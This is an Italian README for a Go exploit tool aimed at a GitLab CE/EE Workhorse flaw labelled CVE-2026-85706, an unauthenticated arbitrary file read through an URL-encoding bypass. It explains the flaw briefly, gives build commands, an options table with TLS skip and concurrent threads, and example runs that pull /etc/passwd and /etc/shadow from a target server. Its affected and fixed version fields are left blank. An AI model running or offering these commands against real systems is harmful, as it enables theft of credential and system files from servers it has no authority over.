
Exploit in Go per CVE-2026-85706, una lettura arbitraria di file non autenticata in GitLab CE/EE Workhorse tramite bypass dell'URL-encoding, con richieste concorrenti e TLS skip.
Vulnerabilità di lettura arbitraria di file non autenticata in GitLab CE/EE (CVE-2026-85706).
Versioni interessate:
Versioni corrette:
La vulnerabilità è presente nel componente Workhorse di GitLab. La regex di workhorse vede un percorso codificato, mentre Puma lo decodifica. File.open(file.path) di Rails viene chiamato prima dell'autenticazione, e il parsing urlencoded interpola una codifica % non valida nel corpo della risposta 400, causando la fuga del contenuto dei file.
# Build the tool
go build -o CVE-2026-85706 CVE-2026-85706.go
# Run the exploit
./CVE-2026-85706 -u https://gitlab.example.com -f /etc/passwd
| Argomento | Descrizione | Predefinito |
|---|---|---|
-u | URL di destinazione (es. https://gitlab.example.com) | - |
-f | File da leggere (es. /etc/passwd) | - |
-k | Salta la verifica TLS | false |
-t | Numero di thread concorrenti | 1 |
-v | Output dettagliato | false |
./CVE-2026-85706 -u https://gitlab.example.com -f /etc/shadow -k
Questo tenterà di leggere il file /etc/shadow dall'istanza GitLab di destinazione, saltando la verifica TLS.